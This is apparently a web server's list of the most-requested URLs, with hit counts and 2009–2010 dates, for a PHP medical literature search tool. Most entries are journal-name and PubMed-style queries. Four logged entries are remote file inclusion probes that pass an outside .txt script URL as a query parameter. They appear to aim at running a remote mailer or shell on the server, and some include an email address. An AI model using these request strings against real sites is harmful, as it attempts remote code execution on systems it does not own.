49: : 19-Ago-10 11:05: /medasq.php?z=Circ+Arrhythm+Electrophysiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
49: : 4-Set-10 08:19: /medasq.php?z=BMC+Nephrol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
49: : 27-Ago-10 15:51: /medasq.php?z=Acta+Biomed&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
48: : 5-Set-10 07:27: /medasq.php?z=Dtsch+Med+Wochenschr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
48: : 21-Ago-10 22:58: /medasq.php?z=Rev+Med+Chil&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
48: : 6-Set-10 15:49: /medasq.php?z=Clin+Dermatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
48: : 19-Ago-10 00:52: /medasq.php?z=Clin+Exp+Immunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
48: : 23-Ago-10 10:50: /medasq.php?z=Clin+Biochem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
48: : 17-Ago-10 08:30: /medasq.php?z=Eur+J+Neurol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
48: : 20-Ago-10 00:17: /medasq.php?z=Pediatr+Allergy+Immunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
48: : 23-Ago-10 00:36: /medasq.php?z=BMC+Neurol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
48: : 26-Ago-10 15:19: /medasq.php?z=AAOHN+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
48: : 15-Ago-10 19:35: /medasq.php?z=Wound+Repair+Regen&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
48: : 2-Set-10 22:48: /medasq.php?z=Urology&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
48: : 18-Ago-10 20:27: /medasq.php?z=Dis+Model+Mech&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
47: : 31-Ago-10 08:16: /medasq.php?z=PLoS+Genet&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
47: : 6-Set-10 17:40: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (nervous system diseases [mesh] | nervous system diseases [all])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
47: : 25-Ago-10 02:32: /medasq.php?z=Rev+Med+Suisse&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
47: : 21-Ago-10 01:44: /medasq.php?z=Zhonghua+Yu+Fang+Yi+Xue+Za+Zhi&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
47: : 25-Ago-10 20:57: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (skin diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
47: : 30-Ago-10 19:41: /medasq.php?basemajr=PPI+AND+cost+minimisation&doit=Generate+precompiled+search+form
46: : 17-Ago-10 21:45: /medasq.php?z=J+Nephrol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
46: : 23-Ago-10 10:38: /medasq.php?z=Blood&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
46: : 3-Set-10 05:12: /medasq.php?z=Gut&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
46: : 7-Set-10 11:49: /medasq.php?z=J+Environ+Sci+Health+A+Tox+Hazard+Subst+Environ+Eng&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
46: : 5-Set-10 22:49: /medasq.php?z=Acta+Chem+Scand&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
46: : 7-Set-10 07:24: /medasq.php?z=(j am soc nephrol [ta] OR kidney int [ta] OR am j kidney dis [ta] OR nephron [ta] OR clin nephrol [ta] OR nephrol dial transplant [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
46: : 2-Set-10 09:07: /medasq.php?z=Arch+Cardiovasc+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
46: : 15-Ago-10 19:29: /medasq.php?z=Clin+Exp+Optom&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
46: : 26-Ago-10 23:04: /medasq.php?z=Radiol+Clin+North+Am&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
46: : 30-Ago-10 19:00: /medasq.php?z=Sci+Total+Environ&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
46: : 14-Ago-10 22:20: /medasq.php?z=J Neurosci&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
46: : 3-Set-10 21:37: /medasq.php?z=Cancer+Treat+Rev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
46: : 6-Set-10 09:36: /medasq.php?z=Neurology&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
46: : 5-Set-10 15:18: /medasq.php?z=Cont+Lens+Anterior+Eye&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
45: : 22-Ago-10 00:09: /medasq.php?z=Prog+Biophys+Mol+Biol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
45: : 25-Ago-10 20:47: /medasq.php?z=Vaccine&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
45: : 25-Ago-10 11:02: /medasq.php?z=Rev+Med+Liege&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
45: : 1-Set-10 12:30: /medasq.php?z=Oncol+Rep&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
45: : 6-Set-10 09:55: /medasq.php?z=Allergy&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
45: : 24-Ago-10 06:38: /medasq.php?z=Klin+Monbl+Augenheilkd&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
45: : 1-Set-10 08:30: /medasq.php?z=(br j gen pract [ta] OR j am board fam pract [ta] OR arch fam med [ta] OR can fam physician [ta] OR j fam pract [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
45: : 17-Ago-10 00:43: /medasq.php?z=Epidemiology&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Journals&free=
45: : 7-Set-10 07:51: /medasq.php?z=Clin+Interv+Aging&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
45: : 1-Set-10 22:18: /medasq.php?z=Obstet Gynecol&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
45: : 13-Ago-10 22:22: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (inflammatory bowel diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
44: : 25-Ago-10 20:51: /medasq.php?z=Neuroreport&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
44: : 24-Ago-10 02:26: /medasq.php?z=Free+Radic+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
44: : 25-Ago-10 20:58: /medasq.php?z=(j am geriatr soc [ta] OR age ageing [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
44: : 25-Ago-10 15:05: /medasq.php?z=Pediatr+Infect+Dis+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
44: : 27-Ago-10 13:55: /medasq.php?z=J+Surg+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
44: : 17-Ago-10 22:49: /medasq.php?z=Curr+Opin+Investig+Drugs&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
44: : 6-Set-10 07:43: /medasq.php?z=Gynecol+Oncol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
44: : 29-Ago-10 01:05: /medasq.php?z=Eur+J+Cancer+Prev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
44: : 29-Ago-10 08:32: /medasq.php?z=BMC+Pediatr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
44: : 26-Gen-10 01:34: /medasq.php?z=http://educadoramg.com.br/enviador.txt?&servidor=www.debernardis.it/medasq.php?z=¶=brancohat@gmail.com
44: : 9-Mag-09 20:46: /medasq.php?z=http://www.educadoramg.com.br/enviador.txt?&servidor=www.debernardis.it/medasq.php?z=¶=brancohat@gmail.com
44: : 4-Set-10 15:14: /medasq.php?z=(j invest dermatol [ta] OR arch dermatol [ta] OR br j dermatol [ta] OR j am acad dermatol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
44: : 28-Ago-10 04:45: /medasq.php?z=Depress+Anxiety&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
44: : 6-Set-10 04:27: /medasq.php?z=acetylcysteine+and+(cocaine+or+heroin+or+mental+disorders+[mesh])&abstract=0&quanti=20&highlight=1&daevidenziare=&dovesiamo=0&azione=Show
43: : 17-Ago-10 22:03: /medasq.php?z=Rev+Neurosci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
43: : 26-Ago-10 15:58: /medasq.php?z=Leukemia&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
43: : 19-Ago-10 11:04: /medasq.php?z=J+Neurosci+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
43: : 5-Set-10 17:28: /medasq.php?z=Child+Dev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
42: : 25-Ago-10 20:55: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (diabetes mellitus [mesh] | diab* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
42: : 7-Set-10 23:05: /medasq.php?z=(j periodontol [ta] OR j dent [ta] OR j clin periodontol [ta] OR caries res [ta] OR acta odontol scand [ta] OR j am dent assoc [ta] OR j oral maxillofac surg [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
42: : 1-Set-10 01:16: /medasq.php?z=Am+J+Physiol+Endocrinol+Metab&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
42: : 22-Ago-10 10:24: /medasq.php?z=Ann%2520Med&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
42: : 3-Set-10 16:39: /medasq.php?z=Breast+Cancer+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
42: : 31-Lug-10 06:52: /medasq.php?z=&abstract=1&quanti=20&highlight=1&daevidenziare=&dovesiamo=0&azione=Journals
42: : 28-Ago-10 03:23: /medasq.php?z=J+Neurol+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
42: : 25-Ago-10 17:29: /medasq.php?z=Pain&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
42: : 17-Ago-10 22:37: /medasq.php?z=Endocrinol+Metab+Clin+North+Am&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
42: : 29-Ago-10 21:37: /medasq.php?z=Comp+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
42: : 13-Ago-10 10:20: /medasq.php?z=J+Dent&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
42: : 16-Ago-10 02:14: /medasq.php?z=Curr+Opin+Gastroenterol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
42: : 3-Set-10 16:15: /medasq.php?z=Fam+Pract&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
42: : 21-Ago-10 11:50: /medasq.php?z=Pancreas&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
42: : 5-Set-10 22:33: /medasq.php?z=Methods+Mol+Biol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
42: : 16-Ago-10 08:00: /medasq.php?z=Cell+Biochem+Funct&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
42: : 16-Ago-10 08:01: /medasq.php?z=Laeknabladid&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
42: : 15-Ago-10 03:28: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (pregnancy [majr] | pregnancy complications [majr] | lactation [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
42: : 7-Set-10 02:29: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (pregnancy [mesh] | pregnancy complications [mesh] | lactation [mesh] | pregn* [all] | lactati* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
41: : 7-Set-10 21:17: /medasq.php?z=(j infect dis [ta] OR infect immun [ta] OR vaccine [ta] OR infect control hosp epidemiol [ta] OR am j trop med hyg [ta] OR pediatr infect dis j [ta] OR sex transm dis [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
41: : 25-Ago-10 20:48: /medasq.php?z=Arerugi&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
41: : 24-Ago-10 02:27: /medasq.php?z=J+Org+Chem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
41: : 18-Ago-10 11:23: /medasq.php?z=Surg+Neurol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
41: : 6-Set-10 17:15: /medasq.php?z=Acta+Hepatogastroenterol+(Stuttg)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
41: : 17-Ago-10 21:25: /medasq.php?z=Forsch+Komplementmed&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
41: : 18-Ago-10 02:28: /medasq.php?z=BMC+Psychiatry&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
41: : 15-Ago-10 22:58: /medasq.php?z=J+Recept+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
41: : 17-Ago-10 23:40: /medasq.php?z=J+Hum+Nutr+Diet&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
41: : 29-Ago-10 04:31: /medasq.php?z=(j urol [ta] OR prostate [ta] OR urol clin north am [ta] OR urology [ta] OR genitourin med [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
41: : 17-Ago-10 02:10: /medasq.php?z=Arch+Latinoam+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
41: : 7-Set-10 16:48: /medasq.php?z=Brain&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
41: : 25-Ago-10 20:58: /medasq.php?z=Mol+Cell+Neurosci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
41: : 2-Set-10 22:23: /medasq.php?z=Acta+Endocrinol+(Copenh)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
41: : 17-Ago-10 01:43: /medasq.php?z=Placenta&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
40: : 18-Ago-10 21:40: /medasq.php?z=Psychopharmacol+Bull&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
40: : 29-Ago-10 04:11: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (mental disorders [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
40: : 24-Ago-10 03:52: /medasq.php?z=Atheroscler+Suppl&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
40: : 20-Ago-10 22:36: /medasq.php?z=Arch+Med+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
40: : 18-Ago-10 06:08: /medasq.php?z=Liver+Transpl&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
40: : 23-Ago-10 04:53: /medasq.php?z=Nephron+Clin+Pract&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
40: : 1-Set-10 02:42: /medasq.php?z=Acta+Diabetol+Lat&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
40: : 22-Ago-10 04:01: /medasq.php?z=J+Neurosci+Methods&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
40: : 28-Ago-10 05:34: /medasq.php?z=Chem+Res+Toxicol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
40: : 16-Ago-10 08:00: /medasq.php?z=Annu+Rev+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
40: : 17-Ago-10 23:48: /medasq.php?z=Chem+Phys+Lipids&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
40: : 7-Set-10 14:45: /medasq.php?z=J+Obstet+Gynaecol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
40: : 5-Set-10 01:15: /medasq.php?z=(ann emerg med [ta] OR am j emerg med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
40: : 28-Ago-10 10:05: /medasq.php?z=Neuron&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
40: : 27-Ago-10 04:20: /medasq.php?z=J+Natl+Cancer+Inst&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
40: : 25-Ago-10 20:56: /medasq.php?z=Bull+Acad+Natl+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
40: : 6-Set-10 23:17: /medasq.php?z=Neurology&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Journals&free=
39: : 25-Ago-10 20:49: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
39: : 2-Set-10 18:17: /medasq.php?z=Autoimmun+Rev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
39: : 14-Ago-10 14:59: /medasq.php?z=Nestle+Nutr+Workshop+Ser+Pediatr+Program&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
39: : 6-Set-10 17:47: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (autoimmune diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
39: : 17-Ago-10 01:51: /medasq.php?z=Schizophr+Bull&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
39: : 22-Ago-10 02:20: /medasq.php?z=Clin+Ter&abstract=1...vesiamo=0&azione=Journals
39: : 5-Set-10 08:50: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (arthritis [mesh] | arthrit* [all] | osteoarthrit* [all] | arthros* [all] | osteoarthros* [all] )&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
39: : 17-Ago-10 23:37: /medasq.php?z=Behav+Brain+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
39: : 25-Ago-10 20:55: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (arthritis [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
39: : 18-Ago-10 11:42: /medasq.php?z=Clin+Chim+Acta&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
39: : 2-Set-10 08:50: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (autoimmune diseases [mesh] | autoimmun* [all] | dysimmun* [all] | disimmun* [all] | les | lupus [all] | rheumat* [all] | addison's [all] | graves' [all] | pemphig* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
39: : 17-Ago-10 21:39: /medasq.php?z=Nefrologia&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
39: : 1-Set-10 16:35: /medasq.php?z=Saudi+Med+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
39: : 17-Ago-10 22:12: /medasq.php?z=Curr+Opin+Obstet+Gynecol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
39: : 13-Lug-10 10:36: /medasq.php?z=http://amyru.h18.ru/images/cs.txt?
38: : 17-Ago-10 21:18: /medasq.php?z=Arq+Gastroenterol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: : 11-Ago-10 23:23: /medasq.php?z=Surgery&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: : 28-Ago-10 18:55: /medasq.php?z=Infect+Control+Hosp+Epidemiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: : 4-Set-10 06:40: /medasq.php?z=Bioorg+Med+Chem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: : 5-Set-10 12:06: /medasq.php?z=Ocul+Surf&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: : 6-Set-10 12:53: /medasq.php?z=Hoppe+Seylers+Z+Physiol+Chem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: : 27-Ago-10 16:13: /medasq.php?z=Psychiatr+Prax&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: : 24-Ago-10 01:31: /medasq.php?z=Support+Care+Cancer&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: : 20-Ago-10 22:35: /medasq.php?z=C+R+Seances+Acad+Sci+III&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: : 14-Ago-10 15:42: /medasq.php?z=Rheumatology+(Oxford)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: : 18-Ago-10 16:13: /medasq.php?z=Int+J+Dev+Neurosci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: : 14-Ago-10 12:11: /medasq.php?z=Brain+Res+Brain+Res+Rev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: : 19-Ago-10 01:37: /medasq.php?z=Neonatology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: : 14-Ago-10 14:44: /medasq.php?z=Neuroscience&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
38: : 25-Gen-10 09:20: /medasq.php?z=http://www.bcefc.ca/chinese/temp/enviador.txt?&servidor=www.debernardis.it/medasq.php?z=¶=brancohat@gmail.com
38: : 13-Lug-10 01:36: /medasq.php?z=Urol+Clin+North+Am&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: : 14-Ago-10 14:54: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (pregnancy [mesh] | pregnancy complications [mesh] | lactation [mesh] | pregn* [all] | lactati* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
38: : 13-Ago-10 22:22: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (inflammatory bowel diseases [mesh] | inflamm* bowel [all] | colitis ulcer* [all] | ulcer* colitis [all] | crohn [all])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
38: : 14-Ago-10 12:12: /medasq.php?z=J+Neurobiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: : 4-Set-10 14:02: /medasq.php?z=J+Am+Coll+Surg&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: : 16-Ago-10 22:52: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (skin diseases [mesh] | dermatos* [all] | dermatit* [all] | psoria* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
38: : 6-Lug-10 19:30: /medasq.php?z=(j+periodontol+[ta]+OR+j+dent+[ta]+OR+j+clin+periodontol+[ta]+OR+caries+res+[ta]+OR+acta+odontol+scand+[ta]+OR+j+am+dent+assoc+[ta]+OR+j+oral+maxillofac+surg+[ta]+)+AND+("clinical+
38: : 16-Ago-10 06:23: /medasq.php?z=Prog+Retin+Eye+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: : 6-Set-10 15:59: /medasq.php?z=Exp+Clin+Endocrinol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
38: : 13-Ago-10 22:23: /medasq.php?z=J+Soc+Biol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
37: : 28-Ago-10 04:23: /medasq.php?z=Med+Arh&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
37: : 14-Ago-10 08:43: /medasq.php?z=Prog+Brain+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
37: : 20-Ago-10 19:06: /medasq.php?z=J+Fish+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
37: : 25-Ago-10 20:54: /medasq.php?z=Curr+Opin+Crit+Care&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
37: : 7-Set-10 21:07: /medasq.php?z=Circ+Cardiovasc+Qual+Outcomes&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
37: : 1-Set-10 20:22: /medasq.php?z=Gastroenterology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
